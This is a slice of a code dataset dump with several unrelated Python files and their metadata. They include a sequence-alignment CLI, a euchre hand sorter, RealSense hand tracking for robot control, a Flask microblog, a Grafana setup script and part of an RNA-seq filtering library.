speaking\n # user starts to speak\n is_recognized_word = RecognizeWords.getInstance().recognize_word(\n word_title, self.mic_num, self.sim_thresh)\n dismiss_speech_screen.enable_speech_button()\n if is_recognized_word:\n # moves the user to the next screen\n next_button_on_press()\n else:\n # shows an error message if the user hasn't spoke the word correctly\n dismiss_speech_screen.show_speech_fail_snackbar()\n\n return mic_on_press\n","sub_path":"src/backend/AlarmClock/SpeechAlarm.py","file_name":"SpeechAlarm.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"48898127","text":"from .attribute import NumericAttribute, MatchAttribute, RangeValue\n\nRE_PATTERNS = {\n 'Lengte': [r'(\\d+)(?:m|cm| )*(?:x|bij)[ ]*(\\d+)(?:m|cm)*',\n r'(?:lengt|lang|l)[: ]*(\\d+)',\n r'(\\d+)(?:m|cm| )*[ ]*(?:lengt|lang|l)'],\n 'Breedte': [r'(\\d+)(?:m|cm| )*(?:x|bij)[ ]*(\\d+)(?:m|cm)*',\n r'(?:breedt|bred|b)[: ]*(\\d+)',\n r'(\\d+)(?:m|cm| )*[ ]*(?:breedt|bred|b)'],\n 'Hoogte': [r'\\d+(?:m|cm| )*(?:x|bij)[ ]*\\d+(?:m|cm)*(?:x|bij)[ ]*(\\d+)(?:m|cm)*',\n r'(?:hoogt|hog|h)[: ]*(\\d+)',\n r'(\\d+)(?:m|cm| )*[ ]*(?:hoogt|hog|h)']\n}\n\nclass RegexTagger:\n def __init__(self, attributes, l2_attributes):\n self.attributes = attributes\n self.l2_attributes = l2_attributes\n \n def tag(self, s, l2):\n if not s:\n return None\n allowed_attributes = list(set(self.attributes).intersection(set(self.l2_attributes[l2])))\n tags = {}\n for attr_name in allowed_attributes:\n allowed_values = self.l2_attributes[l2][attr_name]\n tags[attr_name] = self.attributes[attr_name].extract(s, allowed_values)\n return tags\n\n @classmethod\n def from_pandas(cls, df_attrs_map):\n attributes = {}\n for attribute_name in df_attrs_map['attribute'].unique():\n values = df_attrs_map[df_attrs_map['attribute'] == attribute_name]['value'].unique().tolist()\n if attribute_name in ['Lengte', 'Breedte', 'Hoogte']:\n pattern = '|'.join(RE_PATTERNS[attribute_name])\n attributes[attribute_name] = NumericAttribute(name=attribute_name, values=values, re_pattern=pattern)\n else:\n attributes[attribute_name] = MatchAttribute(name=attribute_name, values=values)\n l2_attributes = {k: f.groupby('attribute')['value'].apply(list).to_dict()\n for k, f in df_attrs_map.groupby('l2')}\n return cls(attributes, l2_attributes)","sub_path":"src/ad_tagger/tagger.py","file_name":"tagger.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"463111881","text":"from src import global_align0, export0, semiglobal_align0, local_align0\nimport argparse\nimport pandas as pd\n\nimport csv\n\ndef main0():\n\t\"\"\"\n\tIntake command line parameters, import file, pairwise sequence alignment first column of each pair of rows, and export calculations.\n\t\"\"\"\n\targs = command_line_parameters0() #Command call inputs\n\tgap = int(args.gap)\n\tmatch = int(args.match)\n\tmismatch = int(args.mismatch)\n\tseqdf = pd.read_csv(args.intake,header=None)\n\n\t# Eventually be able to label sequence pairs\n\t# Change export0 to not take in and return the object array every time\n\t\n\t# for every row of imported file,\n\t# \tpairwise sequence align first two columns\n\t# \tand export to next three columns\n\tfor row in range(0, len(content), 2):\n\t\tseq1 = content[row][0]\n\t\tseq2 = content[row + 1][0]\n\t\tcolumn = 1\n\t\tif args.global_:\n\t\t\tscore_mat, end1, end2 = global_align0(seq1, seq2, gap, match, mismatch)\n\n\t\t\tcontent, column = export0(content, row, column, score_mat, end1, end2,\n\t\t\t\t\t\t\tmethod = 'Global Alignment', nowrite = args.nowrite,\n\t\t\t\t\t\t\texport_matrix = args.export_matrix, toprint = args.print)\n\t\tif args.semiglobal:\n\t\t\tscore_mat, end1, end2 = semiglobal_align0(seq1, seq2, gap, match, mismatch)\n\n\t\t\tcontent, column = export0(content, row, column, score_mat, end1, end2,\n\t\t\t\t\t\t\tmethod = 'Semi Global Alignment', nowrite = args.nowrite,\n\t\t\t\t\t\t\texport_matrix = args.export_matrix, toprint = args.print)\n\t\tif args.local:\n\t\t\tscore_mat, end1, end2 = local_align0(seq1, seq2, gap, match, mismatch)\n\n\t\t\tcontent, column = export0(content, row, column, score_mat, end1, end2,\n\t\t\t\t\t\t\tmethod = 'Local Alignment', nowrite = args.nowrite,\n\t\t\t\t\t\t\texport_matrix = args.export_matrix, toprint = args.print)\n\n\tfile1 = open(args.intake, 'w')\n\twriter = csv.writer(file1)\n\twriter.writerows(content)\n\tfile1.close()\n\ndef command_line_parameters0():\n\tparser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,\n\t\t\t\tdescription=\"\"\"\n\tSequence Alignment Program\n\t---------------------------\n\t\"\"\")\n\tparser.add_argument('--global_', action='store_true', help='perform global sequence alignment')\n\tparser.add_argument('--semiglobal', action='store_true', help='perform semiglobal sequence alignment')\n\tparser.add_argument('--local', action='store_true', help='perform local sequence alignment')\n\tparser.add_argument('--gap', default='-1', help='specify gap penalty, defaults to -1')\n\tparser.add_argument('--match', default='1', help='specify match score, defaults to 1')\n\tparser.add_argument('--mismatch', default='0', help='specify mismatch score, defaults to 0')\n\n\tparser.add_argument('--print', action='store_true', help='print out alignments')\n\tparser.add_argument('--no_write', action='store_false', help='stop writing of new alignment to import file')\n\tparser.add_argument('--export_matrix', default='', help='export score matrix to specified file, defaults to no export')\n\tparser.add_argument('--intake', default='', help='import file with sequences to align')\n\targs = parser.parse_args()\n\treturn args\n","sub_path":"sqmain.py","file_name":"sqmain.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"336257128","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport webapp2\nimport json\nfrom google.appengine.ext import db\nfrom models.stat import Stat\nfrom models.metric import Metric\n\ndef getMetric(yearmonth, nodeA, nodeB=\"\", nodeC=\"\"):\n keys = db.GqlQuery(\"SELECT __key__ FROM Metric WHERE yearmonth = :1 AND nodeA = :2 AND nodeB = :3 AND nodeC = :4\", yearmonth, nodeA, nodeB, nodeC)\n metric = None\n for key in keys:\n metric = Metric.get(key)\n break\n if metric is None:\n metric = Metric()\n metric.yearmonth = yearmonth\n metric.nodeA = str(nodeA)\n metric.nodeB = str(nodeB)\n metric.nodeC = str(nodeC)\n metric.val = 0\n return metric\n\ndef incMetric(yearmonth, nodeA, nodeB=\"\", nodeC=\"\"):\n metric = getMetric(yearmonth, nodeA, nodeB, nodeC)\n metric.val += 1\n metric.put()\n \n\nclass BuildStatsHander(webapp2.RequestHandler):\n def get(self):\n stat_keys = db.GqlQuery(\"SELECT __key__ FROM Stat WHERE processed = :1 LIMIT 4\", False)\n for stat_key in stat_keys:\n data = Stat.get(stat_key)\n if data is None:\n continue\n stat = json.loads(data.data)\n \n incMetric(data.yearmonth, \"diamond\", \"active\")\n \n if 'version' in stat:\n incMetric(data.yearmonth,\n \"diamond\",\n \"version\",\n stat['version'])\n \n for collector in stat['collectors'].keys():\n d = stat['collectors'][collector]\n \n if 'interval' in d:\n incMetric(data.yearmonth,\n collector,\n \"interval\",\n d['interval'])\n \n if 'enabled' in d and str(d['enabled']).lower() == 'true':\n incMetric(data.yearmonth,\n collector,\n \"enabled\")\n \n server = stat['server']\n \n if 'collectors_reload_interval' in server:\n incMetric(data.yearmonth,\n \"diamond\",\n \"collectors_reload_interval\",\n server['collectors_reload_interval'])\n\n if 'hostname_method' in server:\n incMetric(data.yearmonth,\n \"diamond\",\n \"hostname_method\",\n server['hostname_method'])\n \n if 'handlers' in server:\n for handler in server['handlers']:\n incMetric(data.yearmonth,\n handler,\n \"enabled\")\n\n if 'os' in stat:\n incMetric(data.yearmonth,\n \"os\",\n \"os\",\n stat['os'])\n\n if 'os_version' in stat:\n incMetric(data.yearmonth,\n \"os\",\n \"os_version\",\n stat['os_version'])\n\n if 'os_id' in stat:\n incMetric(data.yearmonth,\n \"os\",\n \"os_id\",\n stat['os_id'])\n\n if 'os_distname' in stat:\n incMetric(data.yearmonth,\n \"os\",\n \"os_distname\",\n stat['os_distname'])\n\n if 'python_version' in stat:\n incMetric(data.yearmonth,\n \"python\",\n \"python_version\",\n stat['python_version'])\n\n data.processed = True\n data.put()\n \n #self.response.out.write(stat)\n","sub_path":"controllers/build_stats.py","file_name":"build_stats.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"106030372","text":"\"\"\" Imports Card from card.py. \"\"\"\nfrom card import Card\n\nclass Hand():\n \"\"\"\n Takes trump as only argument.\n Has a limit of 5 cards.\n Call add_card(face, suit) to add a card to the hand.\n Call sort_hand to sort the hand for euchre.\n \"\"\"\n\n # Constructor\n\n def __init__(self, trump):\n self.trump = trump\n self.cards = []\n self.limit = 5\n self.count = 0\n\n def __str__(self):\n string = ''\n i = 1\n for card in self.cards:\n string += str(card)\n if i < self.count:\n string += '\\n'\n i += 1\n return string\n\n # Public\n\n def get_trump(self):\n \"\"\" Returns the trump suit of the hand. \"\"\"\n return self.trump\n\n def add_card(self, face, suit):\n \"\"\" Adds a card to the hand based on the given face and suit. \"\"\"\n self.cards.append(Card(face, suit))\n self.count += 1\n\n def sort_hand(self):\n \"\"\" Sorts the hand based on each cards 'euchre value'. \"\"\"\n self._add_values()\n self.cards.sort(key=lambda c: c.get_value(), reverse=True)\n\n # Private\n\n def _add_values(self):\n \"\"\" Changes the value of each card based on the return of _value_card. \"\"\"\n for card in self.cards:\n card.set_value(card.get_value() + self._value_card(card))\n\n def _value_card(self, card):\n \"\"\"\n Changes the value of each card:\n Trumps get 20 points.\n High Bower gets an extra 10 (on top of the 20 for trumps).\n Low Bower gets 25 points.\n Each Ten gets 1 point.\n Each Jack gets 2 points.\n Each Queen gets 3 points.\n Each King gets 4 points.\n Each Ace gets 5 points.\n \"\"\"\n value_added = 0\n if self.trump[0].lower().strip() == \"c\":\n opposite_trump = \"s\"\n if self.trump[0].lower().strip() == \"s\":\n opposite_trump = \"c\"\n if self.trump[0].lower().strip() == \"d\":\n opposite_trump = \"h\"\n if self.trump[0].lower().strip() == \"h\":\n opposite_trump = \"d\"\n\n if card.get_face() == \"T\":\n value_added += 1\n elif card.get_face() == \"J\":\n value_added += 2\n elif card.get_face() == \"Q\":\n value_added += 3\n elif card.get_face() == \"K\":\n value_added += 4\n elif card.get_face() == \"A\":\n value_added += 5\n\n if card.get_suit() == self.trump[0].lower().strip():\n value_added += 20\n if card.get_face() == \"J\":\n value_added += 10\n\n elif card.get_suit() == opposite_trump and card.get_face() == \"J\":\n value_added += 25\n\n return value_added\n","sub_path":"hand.py","file_name":"hand.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481881784","text":"import numpy as np\r\nimport cv2\r\nimport imutils\r\nimport time\r\nimport socket\r\nimport math\r\nimport pyrealsense2 as rs\r\n\r\ndef Tracking():\r\n #Variaveis de controle de fluxo de dados e configurações iniciais:\r\n x = 0\r\n y = 0\r\n i = 0\r\n Rmin = 250\r\n Rmax = 600\r\n k = 0\r\n distanceAnte = 420.01\r\n gravando = False\r\n transmitindo = False\r\n \r\n #Define o intervalo das cores de interesse\r\n## UpperColor = (53, 255, 255)\r\n## LowerColor = (0, 181, 234)\r\n \r\n #Importa o intervalo de cores de interesse do arquivo de configuração\r\n configfile = open(\"config/HSVValues.txt\")\r\n LowerColor = (int(configfile.readline()),int(configfile.readline()),int(configfile.readline()))\r\n UpperColor = (int(configfile.readline()),int(configfile.readline()),int(configfile.readline()))\r\n configfile.close()\r\n \r\n #Inicia camera RGB e Depth\r\n pipeline = rs.pipeline()\r\n config = rs.config()\r\n config.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 30)\r\n config.enable_stream(rs.stream.color, 640, 480, rs.format.bgr8, 30)\r\n profile = pipeline.start(config)\r\n depth_sensor = profile.get_device().first_depth_sensor()\r\n depth_scale = depth_sensor.get_depth_scale()\r\n time.sleep(2.0)\r\n \r\n #Set das variáveis para comunicação UDP-IP com o Robô\r\n## UDP_IP = \"192.168.3.15\"\r\n## UDP_PORT = 10001\r\n \r\n #Importa o ip e portas do robo\r\n ipfile = open(\"config/IP.txt\")\r\n UDP_IP = ipfile.readline()\r\n UDP_PORT = int(ipfile.readline())\r\n ipfile.close()\r\n \r\n align_to = rs.stream.color\r\n align = rs.align(align_to)\r\n \r\n #Abertura file gravacao\r\n filegravacao = open(\"programas/1.txt\",\"w+\")\r\n \r\n #LOOP PROGRAMA PRINCIPAL\r\n while True:\r\n #Pega o frame atual e separa em depth e RGB\r\n# print(gravando)\r\n frames = pipeline.wait_for_frames()\r\n \r\n #Alinhamento da câmerade profundidade e da câmera RGB\r\n aligned_frames = align.process(frames)\r\n depth_frame = aligned_frames.get_depth_frame()\r\n color_frame = aligned_frames.get_color_frame()\r\n if frames is None:\r\n break\r\n \r\n #Transforma ambos os frames em array do Numpy para possibilitar a utilização deles pelo OpenCV\r\n depth_image = np.asanyarray(depth_frame.get_data())\r\n color_image = np.asanyarray(color_frame.get_data())\r\n \r\n #Faz a pintura da imagem de Depth para gerar uma representação visual da imagem\r\n #depth_colormap = cv2.applyColorMap(cv2.convertScaleAbs(depth_image, alpha=0.03), cv2.COLORMAP_JET)\r\n \r\n #Redimensiona o frame para 600 px de largura\r\n frame = imutils.resize(color_image, width = 600)\r\n \r\n #Transformação da imagem RGB para HSV\r\n blurred = cv2.GaussianBlur(frame, (11, 11), 0) \r\n hsv = cv2.cvtColor(blurred, cv2.COLOR_BGR2HSV)\r\n \r\n #Criação da máscara, encontra as cores no Range especificado e elimina possíveis ruídos\r\n mask = cv2.inRange(hsv, LowerColor, UpperColor)\r\n mask = cv2.erode(mask, None, iterations = 2)\r\n mask = cv2.dilate(mask, None, iterations = 2)\r\n \r\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n cnts = imutils.grab_contours(cnts)\r\n \r\n if len(cnts) > 0:\r\n \r\n c = max(cnts, key = cv2.contourArea)\r\n ((x, y), raio) = cv2.minEnclosingCircle(c)\r\n \r\n #Com as coordenadas X e Y, pegamos as coordenadas Z da camera de depth.\r\n depth = depth_image[int(y),int(x)].astype(float)\r\n \r\n distance = 1500 - depth*depth_scale*1000\r\n\r\n #Raio = math.sqrt((abs(int(distance)**2)+abs(int(640/2-x)**2 +abs(int((480-y)+200)**2))))\r\n# =============================================================================\r\n# \r\n# if (RaioRmax):\r\n# k = math.sqrt(Rmax**2/Raio**2)\r\n# x = x*k\r\n# y = y*k\r\n# distance = distance*k\r\n# print(k)\r\n# print(Raio)\r\n# =============================================================================\r\n \r\n #Threshold da distância, somente para testes iniciais, deve obter os pontos e funções de limites do robô\r\n if distance == 1500:\r\n distance = distanceAnte\r\n else:\r\n if distance > 600:\r\n distance = 600.01\r\n elif distance <270:\r\n distance = 270.01\r\n else:\r\n distanceAnte = distance\r\n \r\n M = cv2.moments(c)\r\n center = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\r\n hull = cv2.convexHull(c, returnPoints = False)\r\n \r\n #Desenha o contorno da imagem segmentada; pontos máximos e mínimos\r\n cv2.drawContours(frame, [c], -1, (0, 255, 255), 2)\r\n cv2.circle(frame, (int(x), int(y)), int(raio), (255, 255, 110), 2)\r\n cv2.circle(frame, center, 6, (0, 0, 255), -1)\r\n \r\n #Desenha Hull e pontas dos dedos:\r\n if len(hull) > 3:\r\n defects = cv2.convexityDefects(c, hull)\r\n cnt = 0\r\n MaxDist = 0\r\n LongerFinger = center\r\n \r\n if type(defects) != type(None):\r\n for j in range(defects.shape[0]):\r\n s, e, f, d = defects[j, 0]\r\n start = tuple(c[s, 0])\r\n end = tuple(c[e, 0])\r\n far = tuple(c[f, 0]) \r\n \r\n if d > 3000:\r\n \r\n #Calculo da maior distancia em rel ao centro:\r\n dist = math.sqrt((center[0] - end[0])**2 + (center[1] - end[1])**2)\r\n if dist > MaxDist:\r\n MaxDist = dist\r\n LongerFinger = end\r\n cnt += 1\r\n cv2.circle(frame, end, 8, [255, 0, 0], -1)\r\n \r\n \r\n #if cnt > 0:\r\n #OpenClaw = True\r\n \r\n #else:\r\n #OpenClaw = False\r\n \r\n \r\n #Printa as coordenadas do centro\r\n cv2.circle(frame,LongerFinger, 5, (255, 255, 255), -1)\r\n cv2.line(frame,center,LongerFinger,(0, 255, 0), 2)\r\n \r\n if i == 5:\r\n i = 0\r\n #Mensagem = \"(\" + str(round((640/2-x),2)) + \",\" + str(round((480/2-y),2)) + \",\" + str(round(distance,2)) + \",\" + \"+113.43\" + \",\" + \"+88.91\" + \",\" + \"+113.54\" + \")\" + \"(\" + \"6,0\" + \")\"\r\n Mensagem = \"(\" + str(420.01) + \",\" + str(round((640/2-x),2)) + \",\" + str(round((480-y)+200,2))+ \",\" + \"-90.01\" + \",\" + \"+48.01\" + \",\" + \"-90.01\" + \")\" + \"(\" + \"6,0\" + \")\"\r\n #Mensagem = \"(\" + str(420.01) + \",\" + str(-170.1) + \",\" + str(round((480-y),2)) + \",\" + \"+113.43\" + \",\" + \"+88.91\" + \",\" + \"+113.54\" + \")\" + \"(\" + \"6,0\" + \")\"\r\n #str(round(distance,2))\r\n #sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n #sock.connect ((UDP_IP, UDP_PORT))\r\n #print(abs(int(distance)^2)+abs(int(640/2-x)^2))\r\n #if ((abs(int(distance)^2)+abs(int(640/2-x)^2)) > 250^2) & ((abs(int(distance)^2)+abs(int(640/2-x)^2)) < 600^2):\r\n # print(\"Ok\")\r\n if transmitindo == True:\r\n sock.send(Mensagem.encode())\r\n if gravando == True:\r\n filegravacao.write(Mensagem+\"\\n\") \r\n #else:\r\n # print(\"Dentro da area proibida\")\r\n print(Mensagem)\r\n# =============================================================================\r\n# if gravando==True:\r\n# gravacao = open(\"programas/1.txt\",\"a+\")\r\n# gravacao.write(Mensagem)\r\n# gravacao.close()\r\n# =============================================================================\r\n \r\n #Calculo do anglo de 0 a 360:\r\n# =============================================================================\r\n# if abs(LongerFinger[0]-center[0]) != 0:\r\n# angle = round(math.atan2(center[1]-LongerFinger[1],center[0]-LongerFinger[0])*180/math.pi,2)\r\n# if math.atan((center[1]-LongerFinger[1])/(center[0]-LongerFinger[0])) > 0:\r\n# angle = round(abs(math.atan((center[1]-LongerFinger[1])/(center[0]-LongerFinger[0]))*180/math.pi) + 180,2)\r\n# if angle < 0:\r\n# angle = 360 + angle\r\n# print(angle)\r\n# =============================================================================\r\n \r\n i = i+1\r\n \r\n #Mostra a imagem\r\n cv2.imshow(\"Frame\", frame)\r\n key = cv2.waitKey(1) & 0xFF\r\n \r\n if key == ord(\"q\"):\r\n break\r\n elif key == ord(\"g\") and gravando == False:\r\n print(\"gravacao on\")\r\n gravando = True\r\n elif key == ord(\"g\") and gravando == True:\r\n print(\"gravacao off\")\r\n gravando = False\r\n elif key == ord(\"t\") and transmitindo == False:\r\n print(\"transmicao on\")\r\n transmitindo = True\r\n elif key == ord(\"t\") and transmitindo == True:\r\n print(\"transmicao off\")\r\n transmitindo = False\r\n\r\n #Fecha as telas e libera a camera para outros usos\r\n filegravacao.close()\r\n pipeline.stop() \r\n cv2.destroyAllWindows()","sub_path":"Programa Desenvolvimento/lib/trackingbackup.py","file_name":"trackingbackup.py","file_ext":"py","file_size_in_byte":10204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"72135018","text":"from datetime import datetime\nimport json\nfrom flask import Flask, render_template, request\nfrom flask_mongoengine import MongoEngine\n\nfrom forms import ContatoForm\nfrom config import Config\n\napp = Flask(__name__)\napp.config.from_object(Config)\n\ndb = MongoEngine(app)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n from models import Post\n\n posts = Post.objects\n if request.method == 'POST':\n # Adicionei na lista de posts\n hoje = datetime.now()\n p = Post(\n content=request.values['content'],\n date=hoje.strftime(\"%d/%m/%Y %H:%M\")\n )\n p.save()\n posts = Post.objects.all()\n return render_template('index.html', titulo=\"Microblog de PWEB1\", posts=posts)\n\n\n@app.route('/contato/', methods=['GET', 'POST'])\ndef contato():\n form = ContatoForm(csrf_enabled=False)\n if form.validate_on_submit():\n return 'Formulário enviado com sucesso, por %s/%s' % (form.data['nome'], form.data['email'])\n return render_template('contato.html', titulo=\"Contato\", form=form)\n\n\n@app.route('/sobre/')\ndef sobre():\n return 'Este é o nosso primeiro projeto Flask!!!'\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"305562411","text":"#!/usr/bin/env python3\n\nimport requests\nimport time\nimport sys\n\n# Setup grafana data source\ngrafana_url = \"http://admin:admin@localhost:3000/\"\n\n# Wait for Grafana to come online (testing in linux VM showed this to take a few seconds\nstart = time.clock()\nTIMEOUT_PERIOD=5 # seconds\ngrafana_up = False\nwhile not grafana_up and (time.clock() - start < TIMEOUT_PERIOD):\n try:\n r = requests.get(grafana_url)\n grafana_up = r.ok\n except:\n pass\n\nif not grafana_up:\n print(\"Could not connect to Grafana. Exiting\")\n sys.exit(-1)\n\n\ndbname = open('db_name', 'r').read()\n\ndata_source_dict = {\n \"name\": \"btc_source\",\n \"type\":\"influxdb\",\n \"url\":\"http://localhost:8086\",\n \"access\":\"direct\",\n \"basicAuth\":False,\n \"database\":dbname\n}\nr = requests.post(grafana_url + \"api/datasources\", data=data_source_dict)\nassert r.ok, \"Failed to create datasource within Grafana\"\n","sub_path":"grafana_configuration.py","file_name":"grafana_configuration.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"556804894","text":"\"\"\"\nThis module can import HTCount and DESeq .csv files, perform various filtering operations on them, \\\nperform set operations (union, intersection, etc), run basic exploratory analyses and plots (such as PCA, clustergram, \\\nviolin plots, scatter, etc), save the filtered files to the computer, and return set of features that appear in an \\\nimported DESeq file. \\\nWhen a filtered/modified DESeq/HTCount is saved back to disk, its new name will include by default \\\n all of the operations performed on it, in the order they were performed, to allow easy traceback of analyses.\n\n\"\"\"\n\nimport os\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nimport warnings\nfrom rnalysis import general\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n__bigtable_path__ = os.path.join(os.path.dirname(__file__), 'extendedCelegansIDs_bigTable_39col_2019format_edit.csv')\n\n\nclass Filter:\n \"\"\"\n A parent class for DESeqFilter and HTCountFilter.\n\n \"\"\"\n\n def __init__(self, fname: str):\n if isinstance(fname, tuple):\n assert isinstance(fname[1], pd.DataFrame) and isinstance(fname[0], (str, Path))\n self.fname = fname[0]\n self.df = fname[1]\n else:\n assert isinstance(fname, (str, Path))\n self.fname = Path(fname)\n self.df = general.load_csv(fname, 0)\n if self.df.index.has_duplicates:\n warnings.warn(\"Warning: this Filter object contains multiple rows with the same WBGene index.\")\n self.shape = self.df.shape\n self.columns = tuple(self.df.columns)\n\n def __str__(self):\n return f\"{type(self).__name__} of file {self.fname}: \\n{self.df.__str__()}\"\n\n def __copy__(self):\n return type(self)((self.fname, self.df.copy(deep=True)))\n\n def _inplace(self, new_df: pd.DataFrame, opposite: bool, inplace: bool, suffix: str):\n \"\"\"\n Executes the user's choice whether to filter in-place or create a new instance of the Filter object.\n\n :param new_df: the post-filtering DataFrame\n :param opposite: boolean. Determines whether to return the filtration ,or its opposite.\n :param inplace: boolean. Determines whether to filter in-place or not.\n :param suffix: The suffix to be added to the filename\n :return:\n If inplace is False, returns a new instance of the Filter object.\n \"\"\"\n assert isinstance(inplace, bool), \"'inplace' must be True or False!\"\n if opposite:\n new_df = self.df.loc[self.df.index.difference(new_df.index)]\n suffix += 'opposite'\n\n new_fname = Path(f\"{str(self.fname.parent)}\\\\{self.fname.stem}{suffix}{self.fname.suffix}\")\n\n if inplace:\n self.df, self.fname = new_df, new_fname\n self.shape = self.df.shape\n else:\n tmp_df, tmp_fname = self.df, self.fname\n self.df, self.fname = new_df, new_fname\n new_obj = self.__copy__()\n self.df, self.fname = tmp_df, tmp_fname\n return new_obj\n\n def save_csv(self, alt_filename=None):\n \"\"\"\n Saves the current filtered data to a .csv file.\n\n :param alt_filename: If None, file name will be generated automatically according to the filtering methods used. \\\n if string, will be the name of the saved file. Example input: 'myfilename'\n \"\"\"\n if alt_filename is None:\n alt_filename = self.fname\n else:\n alt_filename = f\"{str(self.fname.parent)}\\\\{alt_filename}{self.fname.suffix}\"\n general.save_to_csv(self.df, alt_filename, \"\")\n\n @staticmethod\n def _color_gen():\n \"\"\"\n A generator that randomizes RGB values.\n\n :return:\n a numpy.ndarray of size (3,) containing three random values, each between 0 and 1.\n \"\"\"\n while True:\n yield np.random.random(3)\n\n @staticmethod\n def _from_string(self, msg: str = '', delimiter: str = '\\n'):\n \"\"\"\n Takes a manual string input from the user, and then splits it using a delimiter into a list of values. \\\n Called when an EnrichmentProcessing instance is created without input, \\\n or when EnrichmentProcessing.enrich_big_table is called without input.\n\n :param msg: a promprt to be printed to the user\n :param delimiter: the delimiter used to separate the values. Default is '\\n'\n :return:\n A list of the comma-seperated values the user inserted.\n \"\"\"\n string = input(msg)\n split = string.split(sep=delimiter)\n if split[-1] == '':\n split = split[:-1]\n return split\n\n def filter_biotype(self, biotype='protein_coding',\n ref: str = __bigtable_path__, opposite: bool = False, inplace: bool = True):\n \"\"\"\n Filters out all features that do not match the indicated biotype. \\\n Legal inputs: 'protein_coding','pseudogene','piRNA','miRNA','ncRNA','lincRNA','rRNA','snRNA','snoRNA'.\n\n :param biotype: str\n :param ref: Name of the reference file used to determine biotype. Default is the BigTable.\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current Filter object. If False, \\\n the function will return a new Filter instance and the current instance will not be affected.\n :return: If 'inplace' is False, returns a new instance of Filter object.\n \"\"\"\n legal_inputs = ('protein_coding', 'pseudogene', 'piRNA', 'miRNA', 'ncRNA', 'lincRNA', 'rRNA', 'snRNA', 'snoRNA')\n assert isinstance(biotype, str), \"biotype must be a string!\"\n assert biotype in legal_inputs, \"biotype is not a legal string!\"\n ref_df = general.load_csv(ref, 0)\n suffix = f\"_{biotype}\"\n gene_names = ref_df[ref_df['bioType'] == biotype].index.intersection(self.df.index)\n new_df = self.df.loc[gene_names]\n return self._inplace(new_df, opposite, inplace, suffix)\n\n # TODO: add 'remove unindexed rows' to here!\n\n def filter_by_bigtable_group(self, attributes: list = None, mode='union', inclusion: bool = True,\n ref: str = __bigtable_path__, opposite: bool = False, inplace: bool = True):\n \"\"\"\n Filters features by inclusion in or exclusion from a Big Table attribute, or multiple Big Table attributes. \\\n When multiple attributes are given, filtering can be done in 'union' mode \\\n (where features that belong to at least one attribute are not filtered out), or in 'intersection' mode \\\n (where only features that belong to ALL attributes are not filtered out).\n\n :param attributes: list of Big Table attributes to filter by.\n :type mode: 'union' or 'intersection'.\n :param mode: 'union' or 'intersection'. If 'union', filters out every feature that does not match at least one \\\n of the indicated Big Table attributes. If 'intersection', \\\n filters out every feature that does not match all of the indicated Big Table attributes.\n :param inclusion: boolean. If True (default), features will be filtered by inclusion in the specified criteria \\\n (meaning features that belong to the attributes are kept \\\n and features that don't belong to the attributes are filtered out). \\\n If False, features will be filtered out by exclusion from the specified criteria \\\n (meaning features that DON'T belong to the attributes \\\n are kept, and features that do belong to the attributes are filtered out).\n :param ref: filename/path of the Big Table to be used as reference.\n :type opposite: bool\n :param opposite: If True, the output of the filtering will be the OPPOSITE of the specified \\\n (instead of filtering out X, the function will filter out anything BUT X). \\\n If False (default), the function will filter as expected.\n :type inplace: bool\n :param inplace: If True (default), filtering will be applied to the current Filter object. If False, \\\n the function will return a new Filter instance and the current instance will not be affected.\n :return:\n If 'inplace' is False, returns a new instance of DESeqFilter.\n \"\"\"\n if attributes is None:\n attributes = self._from_string(\n \"Please insert attributes separated by newline \"\n \"(for example: \\n'epigenetic_related_genes\\nnrde-3 targets\\nALG-3/4 class small RNAs')\")\n elif isinstance(attributes, str):\n attributes = [attributes]\n else:\n assert isinstance(attributes, (list, tuple, set))\n assert isinstance(mode, str), \"'mode' must be a string!\"\n big_table = general.load_csv(ref, 0)\n sep_idx = [big_table[big_table[attr].notnull()].index for attr in attributes]\n\n if mode == 'intersection':\n suffix = '_bigtableintersection'\n indices = self.df.index\n for idx in sep_idx:\n indices = indices.intersection(idx)\n elif mode == 'union':\n suffix = '_bigtableUnion'\n indices = pd.Index([])\n for idx in sep_idx:\n indices = indices.union(idx)\n indices = indices.intersection(self.df.index)\n else:\n raise 